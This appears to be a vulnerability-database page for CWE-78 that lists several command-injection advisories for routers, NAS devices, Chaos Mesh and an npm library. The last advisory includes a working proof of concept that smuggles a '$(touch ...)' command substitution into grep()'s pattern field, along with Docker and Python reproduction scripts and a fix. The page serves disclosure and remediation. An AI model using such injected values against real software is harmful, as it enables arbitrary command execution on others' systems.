Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

10453 vulnerabilities reference this CWE, most recent first.

GHSA-XV7X-V825-68C4

Vulnerability from github – Published: 2025-04-22 18:32 – Updated: 2025-04-22 21:30
VLAI
Details

TOTOLINK EX1200T V4.1.2cu.5232_B20210713 was found to contain a pre-auth remote command execution vulnerability in the setUpgradeFW function through the FileName parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-28039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-22T18:15:59Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOLINK EX1200T V4.1.2cu.5232_B20210713 was found to contain a pre-auth remote command execution vulnerability in the setUpgradeFW function through the FileName parameter.",
  "id": "GHSA-xv7x-v825-68c4",
  "modified": "2025-04-22T21:30:43Z",
  "published": "2025-04-22T18:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28039"
    },
    {
      "type": "WEB",
      "url": "https://locrian-lightning-dc7.notion.site/RCE2-1ad8e5e2b1a280fbb0cacc7e758e7299"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV86-GR62-VCJ7

Vulnerability from github – Published: 2025-04-02 09:30 – Updated: 2025-04-02 09:30
VLAI
Details

This vulnerability involves command injection in tcpdump within Moxa products, enabling an authenticated attacker with console access to exploit improper input validation to inject and execute systems commands. Successful exploitation could result in privilege escalation, allowing the attacker to gain root shell access and maintain persistent control over the device, potentially disrupting network services and affecting the availability of downstream systems that rely on its connectivity.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-02T07:15:41Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability involves command injection in tcpdump within Moxa products, enabling an authenticated attacker with console access to exploit improper input validation to inject and execute systems commands. Successful exploitation could result in privilege escalation, allowing the attacker to gain root shell access and maintain persistent control over the device, potentially disrupting network services and affecting the availability of downstream systems that rely on its connectivity.",
  "id": "GHSA-xv86-gr62-vcj7",
  "modified": "2025-04-02T09:30:33Z",
  "published": "2025-04-02T09:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0676"
    },
    {
      "type": "WEB",
      "url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-259491-cve-2025-0676-command-injection-leading-to-privilege-escalation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XV96-8M2J-GMHM

Vulnerability from github – Published: 2025-03-28 03:30 – Updated: 2025-03-28 03:30
VLAI
Details

Dell Unity, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution and Elevation of privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-28T03:15:17Z",
    "severity": "HIGH"
  },
  "details": "Dell Unity, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution and Elevation of privileges.",
  "id": "GHSA-xv96-8m2j-gmhm",
  "modified": "2025-03-28T03:30:25Z",
  "published": "2025-03-28T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24380"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000300090/dsa-2025-116-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV9C-X9PP-8XWG

Vulnerability from github – Published: 2024-10-28 12:30 – Updated: 2024-11-09 00:30
VLAI
Details

An authorized RCE vulnerability exists in the DrayTek Vigor2960 router version 1.4.4, where an attacker can place a malicious command into the table parameter of the doPPPoE function in the cgi-bin/mainfunction.cgi route, and finally the command is executed by the system function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-28T12:15:15Z",
    "severity": "HIGH"
  },
  "details": "An authorized RCE vulnerability exists in the DrayTek Vigor2960 router version 1.4.4, where an attacker can place a malicious command into the table parameter of the doPPPoE function in the cgi-bin/mainfunction.cgi route, and finally the command is executed by the system function.",
  "id": "GHSA-xv9c-x9pp-8xwg",
  "modified": "2024-11-09T00:30:42Z",
  "published": "2024-10-28T12:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48074"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Giles-one/6425e97dcd1ec97a722a1e20da25fad7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Giles-one/Vigor2960Crack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV9F-728H-9JGV

Vulnerability from github – Published: 2025-09-15 12:31 – Updated: 2025-09-15 21:07
VLAI
Summary
Chaos Controller Manager is vulnerable to OS command injection
Details

The killProcesses mutation in Chaos Controller Manager is vulnerable to OS command injection. In conjunction with CVE-2025-59358, this allows unauthenticated in-cluster attackers to perform remote code execution across the cluster.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/chaos-mesh/chaos-mesh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T21:07:42Z",
    "nvd_published_at": "2025-09-15T12:15:33Z",
    "severity": "CRITICAL"
  },
  "details": "The killProcesses mutation in Chaos Controller Manager is vulnerable to OS command injection. In conjunction with CVE-2025-59358, this allows unauthenticated in-cluster attackers to perform remote code execution across the cluster.",
  "id": "GHSA-xv9f-728h-9jgv",
  "modified": "2025-09-15T21:07:42Z",
  "published": "2025-09-15T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaos-mesh/chaos-mesh/pull/4702"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaos-mesh/chaos-mesh/commit/67281c36f8068bf103149318cd0a466417213a28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chaos-mesh/chaos-mesh"
    },
    {
      "type": "WEB",
      "url": "https://jfrog.com/blog/chaotic-deputy-critical-vulnerabilities-in-chaos-mesh-lead-to-kubernetes-cluster-takeover"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Chaos Controller Manager is vulnerable to OS command injection"
}

GHSA-XV9X-VWXF-XX9X

Vulnerability from github – Published: 2024-08-27 21:31 – Updated: 2024-08-27 21:31
VLAI
Details

A vulnerability was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. It has been declared as critical. This vulnerability affects the function cgi_FMT_Std2R1_DiskMGR of the file /cgi-bin/hd_config.cgi. The manipulation of the argument f_newly_dev leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-27T19:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. It has been declared as critical. This vulnerability affects the function cgi_FMT_Std2R1_DiskMGR of the file /cgi-bin/hd_config.cgi. The manipulation of the argument f_newly_dev leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.",
  "id": "GHSA-xv9x-vwxf-xx9x",
  "modified": "2024-08-27T21:31:14Z",
  "published": "2024-08-27T21:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BuaaIOTTeam/Iot_Dlink_NAS/blob/main/DNS_cgi_FMT_Std2R1_DiskMGR.md"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.275920"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.275920"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.397275"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XVCC-VQJV-PHQH

Vulnerability from github – Published: 2026-11-18 16:15 – Updated: 2026-11-18 16:15
VLAI
Summary
augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`
Details

Shell Command Injection in grep() via Unsanitized searchPattern

Summary

The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).

Details

Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:

// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),

The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:

// shell.ts:98-99
const childProcess = spawn(command, {
    shell,   // defaults to 'bash' (shell.ts:92)

Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.

Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.

Data flow (source → sink):

Step Location Description
1 packages/node/src/index.ts:3 export * from './augments/fs/grep.js' — exposes grep() as a public npm API
2 packages/node/src/augments/fs/grep.ts:223-226 grep() accepts caller-controlled grepSearchPattern and grepSearchLocation
3 packages/node/src/augments/fs/grep.ts:228 searchPatterns derived from grepSearchPattern.patterns \|\| [grepSearchPattern.pattern]
4 packages/node/src/augments/fs/grep.ts:269-314 fullCommand built as a plain shell string
5 packages/node/src/augments/fs/grep.ts:310 Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied
6 packages/node/src/augments/fs/grep.ts:320 fullCommand passed to runShellCommand
7 packages/node/src/augments/terminal/shell.ts:221-224 Forwarded to streamShellCommand
8 packages/node/src/augments/terminal/shell.ts:98-99 spawn(command, { shell: 'bash' }) executes the constructed command string

Suggested remediation:

--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
-    return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+    return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
 }
@@
-        ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+        '--',
         ...searchParts,

Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.

PoC

Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.

Step 1 — Build the Docker image:

docker build -t augment-vir-vuln-001-poc \
  vuln-001

Step 2 — Run the exploit container:

docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc

Core exploit (exploit.mjs inside the container):

import { grep } from '@augment-vir/node';

await grep(
  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
  { file: 'package.json' },
);

The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.

Expected output:

[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match

=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})

Minimal reproduction without Docker:

mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2

cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
  { file: 'package.json' },
);
EOF

rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE

Verification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. VULNERABLE and COMMAND INJECTION CONFIRMED were observed in stdout; the sentinel file /tmp/augment-vir-poc-triggered was created inside the Docker container.

Impact

This is an OS Command Injection (CWE-78) vulnerability. Any application that calls @augment-vir/node's grep() with user-controlled input in the pattern or patterns field is vulnerable to arbitrary command execution under the Node.js process's user account.

  • Confidentiality — High: An attacker can read arbitrary files accessible to the process.
  • Integrity — High: An attacker can write or delete files, install malware, or modify application data.
  • Availability — High: An attacker can terminate processes or exhaust system resources.

The attack vector is classified as Local (the attacker must control the value passed to pattern at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the grep() pattern parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.

Reproduction artifacts

Dockerfile

FROM node:22-slim

# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*

WORKDIR /poc

# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5

# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';

const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';

// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}

console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');

try {
  await grep(
    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
    { file: 'package.json' },
  );
} catch (err) {
  // grep() may throw due to no matches — that is expected and irrelevant
  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}

if (existsSync(SENTINEL_FILE)) {
  console.log('');
  console.log('=== VULNERABLE ===');
  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
  process.exit(0);
} else {
  console.log('');
  console.log('=== NOT EXPLOITED ===');
  console.log('[-] Sentinel file was NOT created — injection did not fire.');
  process.exit(1);
}
EOF

CMD ["node", "/poc/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2

Root cause:
  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
  using unsanitized caller-supplied searchPattern inside double quotes:
    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
  This command string is passed to spawn(command, { shell: 'bash' }), meaning
  $() command substitution in the pattern is executed by bash.

Safe usage: This PoC runs entirely inside a local Docker container.
            No external network attacks, no real credentials, no DoS.
"""

import subprocess
import sys
import os
import json

IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))

BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"


def run(cmd, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[cmd] {cmd}")
    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)


def main():
    print("=" * 60)
    print("VULN-001 PoC: Shell Command Injection in grep()")
    print("Package: @augment-vir/node@31.73.2")
    print("=" * 60)

    # Step 1: Build Docker image
    print("\n[*] Building Docker image...")
    build_result = run(BUILD_CMD, timeout=300)
    if build_result.returncode != 0:
        print("[!] Docker build FAILED")
        print(build_result.stdout[-2000:] if build_result.stdout else "")
        print(build_result.stderr[-2000:] if build_result.stderr else "")
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
            evidence=build_result.stderr[-1000:],
        )
        sys.exit(1)
    print("[+] Docker image built successfully")

    # Step 2: Run exploit container
    print("\n[*] Running exploit container...")
    run_result = run(RUN_CMD, timeout=120)

    combined_output = run_result.stdout + run_result.stderr
    print(combined_output)

    # Step 3: Evaluate result
    vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output

    if vulnerable:
        print("\n[+] PASS — Command injection confirmed inside Docker container")
        print("[+] The $() substitution in grep() pattern was executed by bash")
        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
                "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
                "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(0)
    else:
        print("\n[-] FAIL — exploit did not produce expected output")
        write_result(
            passed=False,
            verdict="FAIL",
            reason=(
                "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
                "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(1)


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": f"python3 {os.path.abspath(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[*] Result written to {out_path}")


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@augment-vir/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "31.73.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-18T16:15:52Z",
    "nvd_published_at": "2026-11-09T22:18:53Z",
    "severity": "HIGH"
  },
  "details": "## Shell Command Injection in `grep()` via Unsanitized `searchPattern`\n\n### Summary\n\nThe `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: \u0027bash\u0027` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`\u0027s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**.\n\n### Details\n\n**Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e \"${searchPattern}\"` with no sanitization:\n\n```ts\n// grep.ts:310\n...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`),\n```\n\nThe resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:\n\n```ts\n// shell.ts:98-99\nconst childProcess = spawn(command, {\n    shell,   // defaults to \u0027bash\u0027 (shell.ts:92)\n```\n\nBecause `shell` is `\u0027bash\u0027`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.\n\n**Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `\"` with `\\\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/node/src/index.ts:3` | `export * from \u0027./augments/fs/grep.js\u0027` \u2014 exposes `grep()` as a public npm API |\n| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |\n| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \\|\\| [grepSearchPattern.pattern]` |\n| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |\n| 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e \"${searchPattern}\"` `` \u2014 no escaping applied |\n| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |\n| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |\n| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: \u0027bash\u0027 })` executes the constructed command string |\n\n**Suggested remediation:**\n\n```diff\n--- a/packages/node/src/augments/fs/grep.ts\n+++ b/packages/node/src/augments/fs/grep.ts\n@@\n-function escape(input: string) {\n-    return input.replaceAll(\u0027\"\u0027, String.raw`\\\"`).replaceAll(\u0027\\n\u0027, \u0027\u0027);\n+function shellQuote(input: string) {\n+    return `\u0027${input.replaceAll(\"\u0027\", String.raw`\u0027\\\u0027\u0027`).replaceAll(\u0027\\n\u0027, \u0027\u0027)}\u0027`;\n }\n@@\n-        ...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`),\n+        ...searchPatterns.map((searchPattern) =\u003e `-e ${shellQuote(searchPattern)}`),\n+        \u0027--\u0027,\n         ...searchParts,\n```\n\nAlternatively, replace the shell-string approach with `spawn(\u0027grep\u0027, args, { shell: false })` to avoid shell interpretation entirely.\n\n### PoC\n\n**Prerequisites:** Docker installed on the host. All steps run locally inside a container \u2014 no network exposure, no real credentials, no DoS.\n\n**Step 1 \u2014 Build the Docker image:**\n\n```bash\ndocker build -t augment-vir-vuln-001-poc \\\n  vuln-001\n```\n\n**Step 2 \u2014 Run the exploit container:**\n\n```bash\ndocker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc\n```\n\n**Core exploit (`exploit.mjs` inside the container):**\n\n```js\nimport { grep } from \u0027@augment-vir/node\u0027;\n\nawait grep(\n  { pattern: \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 },\n  { file: \u0027package.json\u0027 },\n);\n```\n\nThe `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.\n\n**Expected output:**\n\n```\n[*] Calling grep() with injected $() command substitution pattern...\n[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\n\n=== VULNERABLE ===\n[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered\n[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\n```\n\n**Minimal reproduction without Docker:**\n\n```bash\nmkdir /tmp/av-grep-poc \u0026\u0026 cd /tmp/av-grep-poc\nnpm init -y\nnpm install @augment-vir/node@31.73.2\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport { grep } from \u0027@augment-vir/node\u0027;\nawait grep(\n  { pattern: \u0027$(touch /tmp/augment-vir-grep-poc)no-match\u0027 },\n  { file: \u0027package.json\u0027 },\n);\nEOF\n\nrm -f /tmp/augment-vir-grep-poc\nnode poc.mjs\ntest -f /tmp/augment-vir-grep-poc \u0026\u0026 echo VULNERABLE\n```\n\n**Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.\n\n### Impact\n\nThis is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`\u0027s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process\u0027s user account.\n\n- **Confidentiality \u2014 High:** An attacker can read arbitrary files accessible to the process.\n- **Integrity \u2014 High:** An attacker can write or delete files, install malware, or modify application data.\n- **Availability \u2014 High:** An attacker can terminate processes or exhaust system resources.\n\nThe attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package\u0027s main entry point and is enabled by default.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-slim\n\n# Install grep (required by @augment-vir/node\u0027s grep() implementation)\nRUN apt-get update -qq \u0026\u0026 apt-get install -y --no-install-recommends grep \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /poc\n\n# Initialize npm project and install the vulnerable package version\nRUN npm init -y \u0026\u0026 \\\n    npm install @augment-vir/node@31.73.2 --save 2\u003e\u00261 | tail -5\n\n# Create the exploit script that demonstrates command injection via grep()\n# The pattern \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 is injected\n# into the shell command string without sanitization, causing $() substitution\n# to execute \u0027touch /tmp/augment-vir-poc-triggered\u0027 under bash.\nRUN cat \u003e /poc/exploit.mjs \u003c\u003c \u0027EOF\u0027\nimport { grep } from \u0027@augment-vir/node\u0027;\nimport { existsSync } from 